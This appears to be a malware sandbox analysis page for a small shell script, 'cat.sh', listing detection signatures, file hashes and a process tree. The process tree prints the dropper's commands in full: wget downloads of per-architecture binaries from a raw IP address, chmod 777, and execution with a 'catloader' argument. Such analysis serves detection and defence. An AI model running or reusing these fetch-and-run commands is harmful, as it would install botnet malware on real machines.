Overview

overview

7

Static

static

1

cat.sh

ubuntu-18.04-amd64

7

cat.sh

debian-9-armhf

7

cat.sh

debian-9-mips

cat.sh

debian-9-mipsel

Analysis

  • max time kernel
    136s
  • max time network
    144s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/08/2026, 17:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    cat.sh
  • Size 1KB
  • Sample260808-vkmctavwhx
  • SHA256 7d9f51eec6b55c5331795bb27b6dee3577352777f0fe0d743f5c2313a459ace4
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cat.sh
    /tmp/cat.sh
    1⤵
    • Executes dropped EXE
    PID:644
    • /usr/bin/wget
      wget http://45.207.196.86/iran.x86_64 -O x86_64
      2⤵
      • Writes file to tmp directory
      PID:645
    • /bin/chmod
      chmod 777 x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:672
    • /tmp/x86_64
      ./x86_64 catloader
      2⤵
        PID:673
      • /usr/bin/wget
        wget http://45.207.196.86/iran.aarch64 -O aarch64
        2⤵
        • Writes file to tmp directory
        PID:675
      • /bin/chmod
        chmod 777 aarch64
        2⤵
        • File and Directory Permissions Modification
        PID:781
      • /tmp/aarch64catloader
        ./aarch64catloader
        2⤵
          PID:782
        • /usr/bin/wget
          wget http://45.207.196.86/iran.m68k -O m68k
          2⤵
          • Writes file to tmp directory
          PID:783
        • /bin/chmod
          chmod 777 m68k
          2⤵
          • File and Directory Permissions Modification
          PID:784
        • /tmp/m68k
          ./m68k catloader
          2⤵
            PID:785
          • /usr/bin/wget
            wget http://45.207.196.86/iran.mips -O mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:787

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              aarch64
              • Path /tmp/aarch64
              • Size 205KB
              • SHA256 00f518e1d68985bb3477a7db43b1cd87b19e8ab0f28656f9476d3c1ec767b5ea
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              m68k
              • Path /tmp/m68k
              • Size 177KB
              • SHA256 3c5992d4f4b96c3a9e67796545e992e9a58a091d9b288441dea39cb78d4ad098
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              x86_64
              • Path /tmp/x86_64
              • Size 160KB
              • SHA256 fb44541efeb566a4dadf7d84ecc48be839112c7b0bf596e65d026b35845a3432
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download